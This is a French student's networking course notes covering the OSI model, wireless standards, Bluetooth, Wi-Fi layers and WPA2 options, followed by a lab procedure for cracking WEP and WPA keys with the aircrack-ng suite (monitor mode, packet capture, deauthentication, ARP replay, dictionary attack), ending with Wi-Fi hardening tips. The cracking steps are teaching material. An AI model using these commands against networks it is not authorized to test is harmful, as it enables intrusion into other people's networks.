Modèle OSI & Généralités

|  |  |  |
| --- | --- | --- |
|  | *Couche 8* | *Couche imaginaire. L’utilisateur.* |
|  |  |  |
| Développement | Couche 7  Application | HTTP (contenu) (Protocole : DNS, IIS, LDAP, FTP, SMTP, POP) (Logiciels, Proxy) |
| Couche 6  Présentation | HTML, PHP (standardiser la page) (Extension) |
| Couche 5  Session | SSL 🡪 TSL (encrypter la page) |
|  | Couche 4  Transport | PORT 80, 443. TCP / UDP. Encapsulation. Segment/Datagramme. |
| Réseau | Couche 3  Réseau | IP (Routeur) Paquets |
| Couche 2  Liaison | Adresse MAC (Switch) Trames |
| Couche 1  Physique | Câble/Wifi (Hub) Bits |

8 bits = 1 octet

1B = 1 byte =1 octet

1b = 1 bit

5MB = Méga byte

5Mb = Méga bit

|  |  |
| --- | --- |
| Wireless Personal Area Network  Réseaux personnel sans fil (**WPAN**) | NFC, Bluetooth |
| Wireless Local Area Network  Réseaux local sans fil (**WLAN**) | Wi-Fi |
| Wireless Metropolitan Area Network  Réseaux métropolitains sans fil (**WMAN**) | WiMAX |
| Wireless Wide Area Network  Réseaux étendus sans fil (**WWAN**) | GPRS, EDGE, 3G, 4G |

Adresse 0.0.0.0 : Route par défaut

Adresse X.X.X.255 : Broadcast

Adresse 127.X.X.X : Loopback

Adresse X.X.X.0 : Network

Adresse 169.254.X.X : Auto-configuration quand absence de DHCP

**Bluetooth**

* Lancé par Ericsson en 1994
* Réseau individuel sans fil (WPAN)
* Technologie simple pour des liaisons point à point
* Permet la connexion de périphériques (smartphone, imprimante, …)
* Technologique principale (WPAN)
* Débit de 1 MB/S pour 30m
* Très peu gourmand en énergie
* Norme 802.15

|  |  |  |
| --- | --- | --- |
| Classe | Portée | Utilisation |
| 1 | 100 m | Dongles |
| 2 | 10 à 20 m | Casques |
| 3 | 1 à 10 m | Souris, Clavier, Kit voiture, Manettes, … |

|  |  |
| --- | --- |
| Version | Débit |
| 1.0 à 1.2 | 1 Mbits/s |
| 2.0 à 2.1 | 2.1 Mbits/s |
| 3.0 | Ajout du wifi pour le transfert de données |
| 4.0 | 0.3 Mbits/s Consommation moindre |

**Wi-Fi**

* Réseau local d’entreprise (WLAN)
* Couvre l’équivalent d’un réseau local d’entreprise (100 m)
* Relie entre eux les équipements présents dans la zone de couverture
* Wi-Fi : Wireless Fidelity
* Soutenu par l’Alliance WECA
* Débit jusqu’a 1,5 Gb/s
* Portée de plusieurs centaines de mètres
* Norme 802.11 (version a, b, g, n, ac)

|  |  |  |
| --- | --- | --- |
| Norme | Fréquence | Débit |
| A | 5Ghz | 22 Mbits/s – 54 Mbits/s |
| B | 2.4Ghz | 11 Mbits/s |
| G | 2.4Ghz | 54 Mbits/s |
| N | 2.4Ghz et 5Ghz | 450 Mbits/s |
| AC | 5Ghz | 500 Mbits/s à 1.3 Gbits/s |

**WiMAX**

* WiMax dans certaines villes d’Europe
* En France plus de réseaux filaires (MAN)

**Réseau mobile**

* Réseau par satellite (WAN)
* *Réaliser un réseau d’infrastructure et les pinger entre eux : 2 AP, 1 switch et 2 pc connectés à des AP différents.*

**COUCHE 2**

Deux sous-couches :

|  |  |
| --- | --- |
| Couche 2 Liaison | MAC |
| LLC |

LLC: Logical Link Control

Norme 802.2

Permet une liaison entre la couche Réseau et la deuxième sous-couche (MAC).

Deux fonctionnalités principales : Un système de contrôle de flux et un système de reprise en cas d’erreur.

Adresse en en-tête et contrôle d’erreur en fin de trame (permet de reprendre en cas d’erreur).

Il existe 3 types de LLC :

* Type 1 : service sans connexion, sans acquittement de données, non-fiable et très rependu.
* Type 2 : Service connecté avec acquittement de données
* Type 3 : Service déconnecté avec acquittement de données

Les différents types de couche LLC sont compatibles avec le wifi car la version écrite en 802.2

Permet un accès équitable au canal radio sans centralisation. Mécanismes permettant d’éviter les collisions (mais pas à les détecter). Pas de priorisation de nœud, ce sont les nœuds qui choisissent quand communiquer.

Un mécanisme anticollision (CSMA/CA) Permet de fiabiliser les envois (ACK) et de s’assurer qu’il n’y ait aucun problème de collision.

**COUCHE 1**

* Technologie DSSS (Direct Sequence Spread Spectrum).
* Technologie Radio.
* Division de la bande en 14 canaux de 22 MhZ chacun.
* Bruitage très fréquent.
* Les séquences convertis en bits utilisent la technique de « chipping » (ajout d’une partie de correction afin de corriger un signal endommage).
* Conversion des différentes parties du signal en bits avec « mots clefs ».

BSS : Basic Service Set (ensemble des services de base).

IBSS : Indépendant Basic Service Set (identique mais en AD-HOC).

BSA : Zone de couverture d’un ISS/BSS.

1e étape :

Trames Beacon : émises par un AP ou un client AD-HOC pour annoncer sa présence

Beacon : Toutes informations nécessaires à la connexion à l’AP

Trame ProbResponse : émise par un AP afin de connaitre son entourage

|  |  |  |  |
| --- | --- | --- | --- |
| WPA2 | >PSK | >ENCRYPTER | >TKIP  \_ Compatibilité  \_ Solidité |
| >WPS  \_Bouton  \_Code Pin  \_NFC |
| >ENTREPRISE  \_SSL  \_TLS | >AES  \_ Compatible  \_Solidité |

**WEP**

Carte wi-fi en mode monitoring

#ifconfig

#airmon –ng start vlan0

#airodump –ng –-> écoute les réseaux, filtre les bornes.

|  |
| --- |
| #airodump –ng –w B3APWEPcapture –c 11 –-bssid 20:4E:7F:20:1B:1A mon0 |
| #airodump –ng –w fichier de capture –c canal –-bssid adresse mac cartewifi |

Nouvelle fenêtre sans fermer l’ancienne

|  |
| --- |
| #aireplay –ng -1 0 –e B3 AP-WEP –a 20:4E:7F:20:1B:1A –b 20:4E:7F:20:1B:1A –h 00:23.BC:1A:EE |
| #aireplay –ng -1 0 –e SSID –a Adresse mac –b adresse mac –h adresse mac de la station |

|  |
| --- |
| #aireplay –ng -3 –e B3 AP-WEP –a 20:4E:7F:20:1B:1A –b 20:4E:7F:20:1B:1A –h 00:23.BC:1A:EE –x 100 –r B3APWEBcapture-01.cap mon0 |
| #aireplay –ng attaque –e SSID –a adresse mac –b adresse mac –h adresse mac de la station –x nombre de paquet –r fichier de capture.cap cartewifi |

|  |
| --- |
| #aircrack –ng B3APWEBcapture-01.cap |
| #aircrack –ng fichier de capture.cap |

**WPA**

Carte wi-fi en mode monitoring

#ifconfig

#airmon –ng start vlan0

|  |
| --- |
| #airodump –ng –w B3APWPAcapture –c 1 –-bssid 20:4E:7F:20:1B:1A mon0 |
| #airodump –ng –w fichier de capture –c canal –-bssid adresse mac cartewifi |

|  |
| --- |
| #airplay -0 3 –a 20:4E:7F:20:1B:1A –c 22:42:CA:20:1B:1Q mon0 |
| #airplay numéro de l’attaque, paquets envoyés, –a adresse mac du poste –C adresse mac du poste à déconnecté |

|  |
| --- |
| #nano dico 🡪 créé le dico. Ctrl + X pour quitter |

|  |
| --- |
| #aircrack – ng WPACAPTURE-01.cap –w dico |
| #aircrack –ng fichier de capture –w dico |

Best Pratice

-Cacher SSID

\_Filtrage MAC

\_Régulièrement changer la clé

\_WPA entreprise

\_Réduire la diffusion

\_longue clé >16 avec alpha + majuscule + caractère spéciaux

\_désactiver le WPS

\_désactiver le wifi

\_désactiver le DHCP

\_éviter une plage d’IP standard

\_changer les identifiants par default admin/admin

SSID

\_éviter de mettre son identité ou celle du FAI

\_mettre un firewall